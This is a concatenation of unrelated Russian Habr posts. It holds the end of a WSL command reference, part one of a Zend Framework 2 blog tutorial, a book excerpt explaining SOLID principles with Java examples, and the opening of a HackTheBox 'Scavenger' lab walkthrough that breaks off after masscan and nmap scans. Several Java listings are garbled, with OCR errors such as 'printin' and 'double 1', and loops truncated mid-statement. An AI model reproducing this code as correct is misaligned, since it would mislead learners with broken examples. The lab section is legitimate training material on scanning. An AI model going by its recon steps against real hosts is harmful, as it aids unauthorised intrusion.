: конкретный дистрибутив Linux (например, «Ubuntu»)
: 1 или 2 (для WSL 1 или 2)
* `wsl --set-default-version`
Изменяет версию установки по умолчанию (WSL 1 или 2) для новых дистрибутивов.
* `wsl --shutdown`
Немедленно завершает работу всех запущенных дистрибутивов и облегченной виртуальной машины WSL 2.
ВМ, которая работает с дистрибутивами WSL 2, — это то, что мы стремимся делать для вас, поэтому мы запускаем ее, когда вам это нужно, и выключаем ее, когда не нужно. Могут быть случаи, когда вы захотите выключить ее вручную, и эта команда позволяет вам сделать это, завершив все дистрибутивы и завершив работу виртуальной машины WSL 2.
* `wsl --list --quiet`
Показывает имена дистрибутивов.
Эта команда полезна для сценариев, поскольку она будет выводить только имена дистрибутивов, которые вы установили, без отображения другой информации, такой как дистрибутива по умолчанию, версии и т. д.
* `wsl --list --verbose`
Показывает подробную информацию обо всех дистрибутивах.
Эта команда выводит имя каждого дистрибутива, в каком состоянии находится дистрибутив и в какой версии он работает. Также показано, какие дистрибутивы используются по умолчанию со звездочкой.
Ждем ваши отзывы!
-----------------
Если у вас возникнут какие-либо проблемы или у вас есть отзывы для нашей команды, пожалуйста, отправьте сообщение о проблеме на [Github](https://github.com/microsoft/wsl/issues). | https://habr.com/ru/post/456204/ | null | ru | null |
# Пример разработки блога на Zend Framework 2. Часть 1. ZendSkeletonApplication
В последние несколько лет моя работа связана с использованием [CMS Drupal](http://drupal.org), но на досуге я изучал и just for fun запускал проекты на питоновских фреймворках [Django](https://www.djangoproject.com/), [Flask](http://flask.pocoo.org/) и [Twisted](http://twistedmatrix.com/trac/). Сейчас я решил освоить основы двух-трех популярных PHP-фреймфорков и первыми я решил изучить [Zend Framework 2](http://framework.zend.com/) и [Yii](http://www.yiiframework.com/).
В процессе ознакомления с Zend Framework 2 я изучил туториал с официального сайта (<http://framework.zend.com/manual/2.2/en/user-guide/overview.html>), просмотрел документацию фреймворка (<http://framework.zend.com/manual/2.2/en/index.html>), прочитал книгу Michael Romer “Web development with Zend Framework 2” и собрал собственное тестовое приложение.
Переварив всю эту информацию, я пришел к мысли, что официальный туториал к фреймворку суховат:
* в нем не рассказывается о работе с пользователями, сессиями и правами доступа,
* лишь вскользь рассматривается такая основополагающая часть фреймворка как ServiceManager,
* в качестве интерфейса с базой данных безальтернативно используется паттерн Table Gateway (и соответствующая его реализация в фреймворке),
* используется встроенный в фреймворк шаблонизатор, который после питоновского [Jinja 2](http://jinja.pocoo.org/docs/) кажется совершенно неудобным и примитивным,
* и т.д.
В итоге, более-менее удовлетворительное по функционалу приложение я смог создать после прочтения книги.
В этой статье я хочу привести пример разработки простого блога, в ней будет несколько отличий от официального туториала. В первую очередь я постараюсь заострить внимание на тех вопросах, которые во время изучения показались мне недостаточно раскрытыми в официальном туториале. Кроме того я буду использовать некоторые технологии, альтернативные тем, что используются в Zend фреймворке по умолчанию:
* в качестве шаблонизатора будет использоваться [Twig](http://twig.sensiolabs.org/),
* для работы с БД — [Doctrine ORM](http://www.doctrine-project.org/),
* для авторизации/аутентификации и распределения прав доступа я буду использовать существующие модули [ZfcUser](https://github.com/ZF-Commons/ZfcUser) и [BjyAuthorize](https://github.com/bjyoungblood/BjyAuthorize),
* также я рассмотрю вопросы разработки собственных валидаторов форм, View плагинов и другие.
Статья написана новичком (в Zend Framework) для новичков, поэтому приветствуется любая критика по делу и советы по усовершенствованию приложения.
Найти код проекта можно на Гитхабе: [github.com/romka/zend-blog-example](https://github.com/romka/zend-blog-example).
Статья будет разбита на 3 части:
* в первой (текущей) части я рассмотрю структуру ZendSkeletonApplication,
* [во второй части](http://habrahabr.ru/post/192608/) разберу разработку собственного модуля (формы, работа с БД при помощи Doctrine ORM, разработка View-плагина),
* [третья часть](http://habrahabr.ru/post/192726/) будет посвящена работе с пользователями и шаблонизатором Twig.
Итак, приступим.
Окружение
---------
Я предполагаю, что у вас уже есть настроенный веб-сервер (мой доступен по адресу [zblog.kece.ru](http://zblog.kece.ru)) и в MySQL создана пустая база данных под этот проект. Ввиду того, что для работы с БД я планирую использовать Doctrine, база данных может быть любой, поддерживаемой этой ORM.
Я предполагаю, что у вас под рукой есть исходный код ZendSkeletonApllication или моего туториала. Взять их можно тут: [github.com/zendframework/ZendSkeletonApplication](https://github.com/zendframework/ZendSkeletonApplication) и тут: [github.com/romka/zend-blog-example](https://github.com/romka/zend-blog-example). Кроме того, я предполагаю, что вы понимаете паттерн MVC, имеете опыт работы с каким-либо шаблонизатором и валидатором форм.
Zend Framework использует замечательный менеджер зависимостей [Composer](http://getcomposer.org/), который также должен быть установлен в вашей системе. Подробнее о Композере можно прочитать вот в этой статье: [habrahabr.ru/post/145946](http://habrahabr.ru/post/145946/). Если говорить в двух словах, то Composer — это утилита командной строки, которая позволяет быстро и удобно скачать и установить внешние библиотеки, от которых зависит ваш PHP-проект. На входе утилита принимает JSON-файл в интуитивно понятном формате содержащий список имен и версий зависимостей, на выходе она скачивает и устанавливает нужные библиотеки и их зависимости освобождая вас от рутинной работы.
В тексте статьи иногда будут отсылки к исходникам внешних приложений или файлам, автоматически сгенерированным Композером. В репозитории этих файлов нет, поэтому для более глубокого изучения разрабатываемого в этом туториале приложения вам нужно будет установить необходимый софт самостоятельно.
ZendSkeletonApplication
-----------------------
Используя Zend Framework вы можете с нуля спроектировать и создать структуру вашего приложения, но для изучения работы системы лучше воспользоваться заготовкой [ZendSkeletonApplication](https://github.com/zendframework/ZendSkeletonApplication). В случае если у вас настроен Composer достаточно выполнить команду:
```
php composer.phar create-project --repository-url="http://packages.zendframework.com" -s dev zendframework/skeleton-application path/to/install
```
(при должной настройке, команду *php composer.phar* можно заменить просто на *composer*, но далее в статье я буду приводить первый вариант как более универсальный)
После ее выполнения вы получите приложение со следующей структурой (я оставил только самые интересные директории и файлы):
```
config/
autoload/
global.php
application.config.php
module/
Application/
<Исходный код модуля Application будет рассмотрен далее>
public/
css/
img/
js/
index.php
vendor/
<Внешние библиотеки, в том числе исходный код Zend Framework>
composer.json
init_autoloader.php
```
Теперь вы можете открыть созданный проект. Моя версия доступна по адресу [zblog.kece.ru](http://zblog.kece.ru).
Давайте детально разберем созданные директории и файлы.
Структура проекта
-----------------
### composer.json
Начнем с файла *composer.json* в корне проекта. Он имеет следующий вид:
```
{
"name": "zendframework/skeleton-application",
"description": "Skeleton Application for ZF2",
"license": "BSD-3-Clause",
"keywords": [
"framework",
"zf2"
],
"homepage": "http:// framework.zend.com/",
"require": {
"php": ">=5.3.3",
"zendframework/zendframework": ">2.2.0rc1"
}
}
```
В этом файле задаются параметры приложения, которые будут использоваться Композером. Самой интересной частью этого конфига является секция require, которая содержит список внешних библиотек, от которых зависит приложение. Сейчас в списке зависимостей есть только Zend Framework 2, но в будущем, мы добавим сюда еще несколько зависимостей: Доктрину, Твиг и другие. После добавления новой зависимости достаточно будет в консоли исполнить команду:
```
php composer.phar update
```
и Композер скачает необходимые библиотеки. Все внешние зависимости складываются в директорию *vendor*, сейчас мы в ней можем увидеть директории zendframework и composer.
### Document root
Document\_root нашего приложения находится не в корне проекта, а в директории *public*, именно здесь находится файл *index.php* — точка входа в наш проект и именно на работу с этой директорией должен быть настроен веб-сервер.
Index.php выполняет несколько важных задач, две самых интересных из них это подключение внешних библиотек, загрузка конфигурации приложения и его запуск.
Для подключения внешних библиотек исполняется файл *init\_autoloader.php* из корня проекта, который в свою очередь вызывает *vendor/autoload.php* и вслед за ним автоматически сгенерированный Композером файл *vendor/composer/autoaload\_real.php*. В этом файле определены автолоад-методы для загруженных Композером внешних библиотек. Таким образом, когда мы в коде наших модулей будем подключать неймспейсы вида *Zend\View\Model\ViewModel* PHP будет знать в каких файлах искать указанные неймспейсы.
Строчка кода:
```
Zend\Mvc\Application::init(require 'config/application.config.php')->run();
```
загружает конфигурационные файлы приложения и запускает его. В процессе инициализации приложения (вызов метода *Zend\Mvc\Application::init()*) создается **ServiceManager** — ключевой объект, использующийся во многих частях приложения. По умолчанию СервисМенеджер создает еще один ключевой объект — EventManager. В дальнейшем, когда мы будем создавать свои модули в их настройках мы будем сообщать СервисМенеджеру какие еще объекты необходимо создать для работы нашего модуля.
О СервисМенеджере мы еще поговорим позже, а сейчас давайте подробнее рассмотрим директорию *config*. В ней находится файл *application.config.php*, возвращающий массив с конфигурацией приложения, который может рассказать много интересного.
Массив modules содержит список включенных модулей. Сейчас у нас включен только один модуль Application, но в будущем их будет больше.
Массив module\_listener\_options содержит два интересных элемента — массивы module\_paths и config\_glob\_paths:
* module\_paths подсказывает где искать подключаемые модули, по умолчанию в директориях vendor — внешние зависимости, и module — здесь будут находиться модули разработанные нами для нашего проекта.
* Config\_glob\_paths содержит маски путей к конфигурационным файлам модулей. Регулярное выражение *'config/autoload/{,\*.}{global,local}.php'* означает, что будут загружены все файлы вида module\_name.{global или local}.php, global.php, local.php из директории config/autoload.
Таким образом, первым делом загружаются настройки из файла config/application.config.php, затем загружаются настройки из файлов config/autoload/{,\*.}{global,local}.php и в последнюю очередь загружаются настройки заданные на уровне модулей (об этом мы поговорим позже).
Если в config/autoload есть два файла настроек для одного и того же модуля: глобальный и локальный (module\_name.global.php и module\_name.local.php), то первым делом будет загружен глобальный файл, а за ним локальный, то есть локальные настройки имеют приоритет перед глобальными.
Файлы local.php и \*.local.php по умолчанию включены в файл .gitignore (если вы используете другую систему контроля версий, то их нужно добавить в исключения вручную) и они должны использоваться только для настроек, соответствующих только текущему окружению. То есть, если у вас проект в том или ином виде запускается на нескольких разных площадках: production, тестовой и девелоперских площадках, то в глобальных настройках приложения нужно хранить данные, актуальные для всех перечисленных площадок, а в локальных — уникальные для каждой площадки, например, данные для доступа к БД.
Кроме глобальных для всего приложения конфигурационных файлов каждый из модулей может иметь свой файл настроек. Такие конфигурационные файлы модулей загружаются в том порядке, в котором определен список активных модулей в файле *application.config.php*. Таким образом, если вы хотите в своем модуле переопределить настройки другого модуля, то ваш модуль должен быть ниже в этом списке.
Последней важной и пока еще не рассмотренной директорией является директория modules. В этой директории будут находиться модули, разработанные нами для нашего приложения. Вместе с ZendSkeletonApplication поставляется один модуль Application, но прежде чем изучать его структуру, давайте разберемся с тем, что такое ServiceManager и зачем он нужен.
### ServiceManager
В официальной документации (<http://framework.zend.com/manual/2.2/en/modules/zend.service-manager.intro.html>) сказано, что ServiceManager — это компонент, реализующий паттерн Service Locator, предназначенный для извлечения других объектов. Другими словами, это некоторая точка входа, которая позволяет из любого места приложения получить доступ к любым объектам, зарегистрированным в СервисМенеджере.
Регистрируются объекты в СервисМенеджере либо в кофигурационном файле *module.config.php* в секции service\_manager, либо в *Module.php* в методе getServiceConfig(), выглядит это примерно так (пример скопирован из документации):
```
php
// a module configuration, "module/SomeModule/config/module.config.php"
return array(
'service_manager' = array(
'aliases' => array(
// Здесь можно задать алиасы для зарегистрированных сервисов или для других алиасов
'SomeModule\Model\User' => 'User',
),
'factories' => array(
// Ключ — имя сервиса,
// Значение — либо имя класса, реализующего интерфейс FactoryInterface,
// либо экземпляр класса, реализующего FactoryInterface,
// либо любой PHP коллбэк
'User' => 'SomeModule\Service\UserFactory',
'UserForm' => function ($serviceManager) {
$form = new SomeModule\Form\User();
// Retrieve a dependency from the service manager and inject it!
$form->setInputFilter($serviceManager->get('UserInputFilter'));
return $form;
},
),
'invokables' => array(
// Ключ — имя сервиса,
// значение — имя класса, экземляр которого должен быть создан.
'UserInputFiler' => 'SomeModule\InputFilter\User',
),
'services' => array(
// Ключ — имя сервиса,
// значение — объект.
'Auth' => new SomeModule\Authentication\AuthenticationService(),
),
),
);
```
Имея приведенную выше конфигурацию СервисМенеджера в любом нашем контроллере теперь мы можем вызвать код вида:
```
$user_form = $this->getServiceLocator()->get('UserForm');
```
и объект $user\_form будет содержать соответствующую форму.
Теперь настало время вернуться к модулю Application, входящему в ZendSkeletonApplication.
### Модуль Application
Дерево каталогов этого модуля выглядит так:
```
config/
module.config.php
language/
<много *.po файлов с переводами>
src/
Application/
Controller/
IndexController.php
view/
application/
index/
index.phtml
error/
404.phtml
index.phtml
layout/
layout.phtml
Module.php
```
Начнем с Module.php. Этот файл объявляет класс Module с 3 методами:
1. onBootstrap();
2. getConfig();
3. getAutoloaderConfig().
Код метода onBootstrap() в этом модуле отвечает за обслуживание маршрутов типа Segment (о типах маршрутов чуть ниже).
Метод getAutoloaderConfig() сообщает ядру фреймворка где искать исходные коды модуля:
```
public function getAutoloaderConfig()
{
return array(
'Zend\Loader\StandardAutoloader' => array(
'namespaces' => array(
__NAMESPACE__ => __DIR__ . '/src/' . __NAMESPACE__,
),
),
);
}
```
В текущем случае это директория *modules/Application/src/Application*.
В методе getConfig() возвращается путь к файлу настроек модуля:
```
return include __DIR__ . '/config/module.config.php';
```
Этим файлом возвращается массив с настройками, содержащий следующие данные:
* элемент массива router — это массив содержащий список маршрутов, обслуживаемых модулем и список контроллеров, для каждого из маршрутов,
* view\_manager содержит пути к шаблонам, которые будут использоваться приложением и ряд дополнительных настроек шаблонизатора,
* service\_manager — список объектов, которые должны быть инициализированы СервисМенеджером,
* ряд других настроек.
Как и в других MVC-фреймворках в Zend Framework используются понятия: маршрут (route), контроллер и действие (action). Маршрут определяет адрес страницы, контроллер и экшен — действия, которые будут выполнены для отображения страницы. Каждый контроллер — это класс, а действия — это методы с именем вида nameAction() в нём. Как следствие, каждый контроллер может содержать несколько действий, например, контроллер BlogPostController(), который мы создадим далее, будет содержать действия addAction(), editAction(), deleteAction(), viewAction() и indexAction().
В настройках модуля Application определяется два маршрута:
```
return array(
'router' => array(
'routes' => array(
'home' => array(
'type' => 'Zend\Mvc\Router\Http\Literal',
'options' => array(
'route' => '/',
'defaults' => array(
'controller' => 'Application\Controller\Index',
'action' => 'index',
),
),
),
'application' => array(
'type' => 'Literal',
'options' => array(
'route' => '/application',
'defaults' => array(
'__NAMESPACE__' => 'Application\Controller',
'controller' => 'Index',
'action' => 'index',
),
),
'may_terminate' => true,
'child_routes' => array(
'default' => array(
'type' => 'Segment',
'options' => array(
'route' => '/[:controller[/:action]]',
'constraints' => array(
'controller' => '[a-zA-Z][a-zA-Z0-9_-]*',
'action' => '[a-zA-Z][a-zA-Z0-9_-]*',
),
'defaults' => array(
),
),
),
),
),
),
),
);
```
* За маршрут / (корень сайта, тип Literal) отвечает контроллер Application\Controller\Index.
* за маршруты вида /application/[:controller[/:action]] (тип Segment) — контроллер и экшен переданные в качестве аргументов, то есть внутри модуля достаточно определить новые контроллеры и экшены и они тут же будут доступны по описанному адресу. Благодаря этому, маршрут / здесь идентичен маршруту /application/index/index.
Существует несколько типов маршрутов, их описание можно найти в документации: [framework.zend.com/manual/2.2/en/modules/zend.mvc.routing.html](http://framework.zend.com/manual/2.2/en/modules/zend.mvc.routing.html).
Модуль Application содержит один единственный контроллер IndexController() с одним единственным экшеном indexAction(), который возвращает страничку с приветственным сообщением. Для отображения этой странички используются шаблоны, находящиеся в директории view модуля.
На этом я бы хотел завершить первую часть статьи, если она окажется востребованной, то я дооформлю и опубликую оставшиеся две части, содержащие пример разработки собственного модуля и описывающие механизм работы с пользователями.
**upd:**
[Вторая](http://habrahabr.ru/post/192608/) и [третья](http://habrahabr.ru/post/192608/) части статьи. | https://habr.com/ru/post/192522/ | null | ru | null |
# Книга «Объектно-ориентированный подход. 5-е межд. изд.»
[](https://habr.com/ru/company/piter/blog/486888/)Объектно-ориентированное программирование (ООП) лежит в основе языков C++, Java, C#, Visual Basic .NET, Ruby, Objective-C и даже Swift. Не могут обойтись без объектов веб-технологии, ведь они используют JavaScript, Python и PHP.
Именно поэтому Мэтт Вайсфельд советует выработать объектно-ориентированное мышление и только потом приступать к объектно-ориентированной разработке на конкретном языке программирования.
Эта книга написана разработчиком для разработчиков и позволяет выбрать оптимальные подходы для решения конкретных задач. Вы узнаете, как правильно применять наследование и композицию, поймете разницу между агрегацией и ассоциацией и перестанете путать интерфейс и реализацию.
Технологии программирования непрерывно меняются и развиваются, но объектно-ориентированные концепции не зависят от платформы и остаются неизменно эффективными. В этом издании основное внимание уделяется фундаментальным основам ООП: паттернам проектирования, зависимостям и принципам SOLID, которые сделают ваш код понятным, гибким и хорошо сопровождаемым.
### Принципы объектно-ориентированной разработки SOLID
### 1. SRP: принцип единственной ответственности
Принцип единственной ответственности гласит о том, для внесения изменений в класс требуется только одна причина. Каждый класс и модуль программы должны иметь в приоритете одно задание. Поэтому не стоит вносить методы, которые могут вызвать изменения в классе более чем по одной причине. Если описание класса содержит слово «and», то принцип SRP может быть нарушен. Другими словами, каждый модуль или класс должен нести ответственность за одну какую-либо часть функционала программного обеспечения, и такая ответственность должна быть полностью инкапсулирована в класс.
Создание иерархии фигур — это один из классических примеров, иллюстрирующих наследование Этот пример часто встречается в обучении, а я использую его на протяжении этой главы (равно как и всей книги). В этом примере класс Circle наследует атрибуты от класса Shape. Класс Shape предоставляет абстрактный метод calcArea() в качестве контракта для подкласса. Каждый класс, наследующий от Shape, должен иметь собственную реализацию метода calcArea():
```
abstract class Shape{
protected String name;
protected double area;
public abstract double calcArea();
}
```
В этом примере класс Circle, наследующий от класса Shape, при необходимости обеспечивает свою реализацию метода calcArea():
```
class Circle extends Shape{
private double radius;
public Circle(double r) {
radius = r;
}
public double calcArea() {
area = 3.14*(radius*radius) ;
return (area);
};
}
```
Третий класс, CalculateAreas, подсчитывает площади различных фигур, содержащихся в массиве Shape. Массив Shape обладает неограниченным размером и может содержать различные фигуры, например квадраты и треугольники.
```
class CalculateAreas {
Shape[] shapes;
double sumTotal=0;
public CalculateAreas(Shape[] sh) {
this.shapes = sh;
}
public double sumAreas() {
sumTotal=0;
for (inti=0; ipublic class TestShape {
public static void main(String args[]) {
System.out.printin("Hello World!");
Circle circle = new Circle(1);
Shape[] shapeArray = new Shape[1];
shapeArray[0] = circle;
CalculateAreas ca = new CalculateAreas(shapeArray) ;
ca.sumAreas() ;
ca.output();
}
}
```
Теперь, имея в распоряжении тестовое приложение, мы можем сосредоточиться на проблеме принципа единственной ответственности. Опять же, проблема связана с классом CalculateAreas и с тем, что этот класс содержит поведения и для сложения площадей различных фигур, а также для вывода данных.
Основополагающий вопрос (и, собственно, проблема) в том, что если нужно изменить функциональность метода output(), потребуется внести изменения в класс CalculateAreas независимо от того, изменится ли метод подсчета площади фигур. Например, если мы вдруг захотим осуществить вывод данных в HTML-консоль, а не в простой текст, нам потребуется заново компилировать и повторно внедрять код, который складывает площади фигур. Все потому, что ответственности связаны.
В соответствии с принципом единственной ответственности, задача состоит в том, чтобы изменение одного метода не повлияло на остальные методы и не приходилось проводить повторную компиляцию. «У класса должна быть одна, только одна, причина для изменения — единственная ответственность, которую нужно изменить».
Чтобы решить данный вопрос, можно поместить два метода в отдельные классы, один для оригинального консольного вывода, другой для вывода в HTML:
```
class CaiculateAreas {;
Shape[] shapes;
double sumTotal=0;
public CalculateAreas(Shape[] sh) {
this.shapes = sh;
}
public double sumAreas() {
sumTotal=0;
for (inti=0; i") ;
System.out.printin("Total of all areas = " + areas);
System.out.printin("") ;
}
}
```
Суть здесь заключается в том, что теперь можно послать вывод в различных направлениях в зависимости от необходимости. Если нужно добавить возможность другого способа вывода, например JSON, можно привнести ее в класс OutputAreas без необходимости внесения изменений в класс CalculateAreas. В результате можно перераспределить класс CalculateAreas без какого-либо затрагивания других классов.
### 2. OCP: принцип открытости/закрытости
Принцип открытости/закрытости гласит, что можно расширить поведение класса без внесения изменений.
Обратим снова внимание на пример с фигурами. В приведенном ниже коде есть класс ShapeCalculator, который берет объект Rectangle, рассчитывает площадь этого объекта и возвращает значения. Это простое приложение, но оно работает только с прямоугольниками.
```
class Rectangle{
protected double length;
protected double width;
public Rectangle(double 1, double w) {
length = 1;
width = w;
};
}
class CalculateAreas {
private double area;
public double calcArea(Rectangle r) {
area = r.length * r.width;
return area;
}
}
public class OpenClosed {
public static void main(String args[]) {
System.out.printin("Hello World");
Rectangle r = new Rectangle(1,2);
CalculateAreas ca = new CalculateAreas ();
System.out.printin("Area = "+ ca.calcArea(r));
}
}
```
То, что это приложение работает только в случае с прямоугольниками, приводит к ограничению, которое наглядно объясняет принцип открытости/закрытости: если мы хотим добавить класс Circle к классу CalculateArea (изменить то, что он выполняет), нам нужно внести изменения в сам модуль. Очевидно, что это вступает в противоречие с принципом открытости/закрытости, который гласит, что мы не должны вносить изменения в модуль для изменения того, что он выполняет.
Чтобы соответствовать принципу открытости/закрытости, можно вернуться к уже проверенному примеру с фигурами, где создается абстрактный класс Shape а непосредственно фигуры наследуют от класса Shape, у которого есть абстрактный метод getArea().
На данный момент можно добавлять столь много разных классов, сколько требуется, без необходимости внесения изменений непосредственно в класс Shape (например, класс Circle). Сейчас можно сказать, что класс Shape закрыт.
Код ниже обеспечивает реализацию решения для прямоугольников и кругов и позволяет создавать неограниченное количество фигур:
```
abstract class Shape {
public abstract double getArea() ;
}
class Rectangle extends Shape
{
protected double length;
protected double width;
public Rectangle(double 1, double w) {
length = 1;
width = w;
};
public double getArea() {
return length*width;
}
}
class Circle extends Shape
{
protected double radius;
public Circle(double r) {
radius = r;
};
public double getArea() {
return radius*radius*3.14;
}
}
class CalculateAreas {
private double area;
public double calcArea(Shape s) {
area = s.getArea();
return area;
}
}
public class OpenClosed {
public static void main(String args[]) {
System.out.printiIn("Hello World") ;
CalculateAreas ca = new CalculateAreas() ;
Rectangle r = new Rectangle(1,2);
System.out.printIn("Area = " + ca.calcArea(r));
Circle c = new Circle(3);
System.out.printIn("Area = " + ca.calcArea(c));
}
}
```
Стоит заметить, что при такой реализации в метод CalculateAreas() не должны вноситься изменения при создании нового экземпляра класса Shape.
Можно масштабировать код, не переживая о существовании предыдущего кода. Принцип открытости/закрытости заключается в том, что следует расширять код с помощью подклассов так, чтобы изначальный класс не требовал правок. Однако само понятие «расширение» выступает противоречивым в некоторых обсуждениях, касающихся принципов SOLID. Развернуто говоря, если мы отдаем предпочтение композиции, а не наследованию, как это влияет на принцип открытости/закрытости?
При соответствии одному из принципов SOLID код может удовлетворять критериям других принципов SOLID. Например, при проектировании в соответствии с принципом открытости/закрытости код может подходить требованиям принципа единственной ответственности.
### 3. LSP: принцип подстановки Лисков
Согласно принципу подстановки Лисков, проектирование должно предусматривать возможность замены любого экземпляра родительского класса экземпляром одного из дочерних классов. Если родительский класс может выполнять какую-либо задачу, дочерний класс тоже должен мочь.
Рассмотрим некоторый код, который на первый взгляд корректен, тем не менее нарушает принцип подстановки Лисков. В коде, приведенном ниже, присутствует типовой абстрактный класс Shape. Класс Rectangle, в свою очередь, наследует атрибуты от класса Shape и переопределяет его абстрактный метод calcArea(). Класс Square, в свою очередь, наследует от Rectangle.
```
abstract class Shape{
protected double area;
public abstract double calcArea();
}
class Rectangle extends Shape{
private double length;
private double width;
public Rectangle(double 1, double w) {
length = 1;
width = w;
}
public double calcArea() {
area = length*width;
return (area) ;
};
}
class Square extends Rectangle{
public Square(double s) {
super(s, Ss);
}
}
public class LiskovSubstitution {
public static void main(String args[]) {
System.out.printIn("Hello World") ;
Rectangle r = new Rectangle(1,2);
System.out.printin("Area = " + r.calcArea());
Square s = new Square(2) ;
System.out.printin("Area = " + s.calcArea());
}
}
```
Пока что все хорошо: прямоугольник является экземпляром фигуры, поэтому ничего не вызывает беспокойства, поскольку квадрат является экземпляром прямоугольника, — и снова все правильно, правда?
Теперь зададим философский вопрос: а квадрат — это все-таки прямоугольник? Многие ответят утвердительно. Хотя и можно допустить, что квадрат — это частный случай прямоугольника, но его свойства будут отличаться. Прямоугольник является параллелограммом (противоположные стороны одинаковы), как и квадрат. В то же время квадрат еще и является ромбом (все стороны одинаковы), в то время как прямоугольник — нет. Поэтому различия есть.
Когда дело доходит до объектно-ориентированного проектирования, проблема не в геометрии. Проблема состоит в том, как именно мы создаем прямоугольники и квадраты. Вот конструктор для класса Rectangle:
```
public Rectangle(double 1, double w) {
length = 1;
width = w;
}
```
Очевидно, конструктор требует два параметра. Однако конструктору для класса Square требуется только один, несмотря даже на то, что родительский класс, Rectangle, требует два.
```
class Square extends Rectangle{
public Square(double s) {
super(s, Ss);
}
```
В действительности функционал для вычисления площади немного различен в случае каждого из этих двух классов. То есть класс Square как бы имитирует Rectangle, передавая конструктору один и тот же параметр дважды. Может казаться, что такой обходной прием вполне годится, но на самом деле он может ввести в заблуждение разработчиков, сопровождающих код, что вполне чревато подводными камнями при сопровождении в дальнейшем. По меньшей мере это неувязка и, наверное, сомнительное дизайнерское решение. Когда один конструктор вызывает другой, неплохо взять паузу и пересмотреть конструкцию — возможно, дочерний класс построен ненадлежащим образом.
Как же найти выход из этой ситуации? Попросту говоря, нельзя осуществить подстановку класса Square вместо Rectangle. Таким образом, Square не должен быть дочерним классом Rectangle. Они должны быть отдельными классами.
```
abstract class Shape {
protected double area;
public abstract double calcArea();
}
class Rectangle extends Shape {
private double length;
private double width;
public Rectangle(double 1, double w) {
length = 1;
width = w;
}
public double calcArea() {
area = length*width;
return (area);
};
}
class Square extends Shape {
private double side;
public Square(double s) {
side = s;
}
public double calcArea() {
area = side*side;
return (area);
};
}
public class LiskovSubstitution {
public static void main(String args[]) {
System.out.printIn("Hello World") ;
Rectangle r = new Rectangle(1,2);
System.out.printIn("Area = " + r.calcArea());
Square s = new Square(2) ;
System.out.printIn("Area = " + s.calcArea());
}
}
```
### 4. ISP: принцип разделения интерфейса
Принцип разделения интерфейсов гласит о том, что лучше создавать много небольших интерфейсов, чем несколько больших.
В этом примере мы создаем единственный интерфейс, который включает в себя несколько поведений для класса Mammal, а именно eat() и makeNoise():
```
interface IMammal {
public void eat();
public void makeNoise() ;
}
class Dog implements IMammal {
public void eat() {
System.out.printIn("Dog is eating");
}
public void makeNoise() {
System.out.printIn("Dog is making noise");
}
}
public class MyClass {
public static void main(String args[]) {
System.out.printIn("Hello World");
Dog fido = new Dog();
fido.eat();
fido.makeNoise()
}
}
```
Вместо создания единственного интерфейса для класса Mammal нужно создать
раздельные интерфейсы для всех поведений:
```
interface IEat {
public void eat();
}
interface IMakeNoise {
public void makeNoise() ;
}
class Dog implements IEat, IMakeNoise {
public void eat() {
System.out.printIn("Dog is eating");
}
public void makeNoise() {
System.out.printIn("Dog is making noise");
}
}
public class MyClass {
public static void main(String args[]) {
System.out.printIn("Hello World") ;
Dog fido = new Dog();
fido.eat();
fido.makeNoise();
}
}
```
Мы отделяем поведения от класса Mammal. Получается, что вместо создания единственного класса Mammal посредством наследования (точнее, интерфейсов) мы переходим к проектированию, основанному на композиции, подобно стратегии, которой придерживались в предыдущей главе.
В нескольких словах, с таким подходом мы можем создавать экземпляры класса Mammal с помощью композиции, а не быть вынужденными использовать поведения, которые заложены в единственный класс Mammal. Например, предположим, что открыто млекопитающее, которое не принимает пищу, а вместо этого поглощает питательные вещества через кожу. Если мы произведем наследование от класса Mammal, содержащего поведение eat(), для нового млекопитающего это поведение будет излишним. При этом если все поведения будут заложены в отдельные одиночные интерфейсы, получится построить класс каждого млекопитающего в точности так, как задумано.
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/obektno-orientirovannyy-podhod-5-e-mezhd-izd?_gs_cttl=120&gs_direct_link=1&gsaid=42817&gsmid=29789&gstid=c)
» [Оглавление](https://storage.piter.com/upload/contents/978544611431/978544611431_X.pdf)
» [Отрывок](https://storage.piter.com/upload/contents/978544611431/978544611431_p.pdf)
Для Хаброжителей скидка 25% по купону — **ООП**
По факту оплаты бумажной версии книги на e-mail высылается электронная книга. | https://habr.com/ru/post/486888/ | null | ru | null |
# Hack The Box. Прохождение Scavenger. DNS, FTP и следы другого взлома
Продолжаю публикацию решений отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu). Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье много поработаем с FTP и DNS, проэксплуатируем SQLi в сервисе whois, а также пройдемся по следам другого взлома, а именно найдем шелл, подберем параметр, и поанализируем логи и дамп трафика.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
**Организационная информация**Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
* PWN;
* криптография (Crypto);
* cетевые технологии (Network);
* реверс (Reverse Engineering);
* стеганография (Stegano);
* поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
-----
Данная машина имеет IP адрес 10.10.10.155, который я добавляю в /etc/hosts.
```
10.10.10.155 scavenger.htb
```
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
```
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.155 --rate=500
```
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
```
nmap -A scavenger.htb -p 21,22,25,43,53,80
```
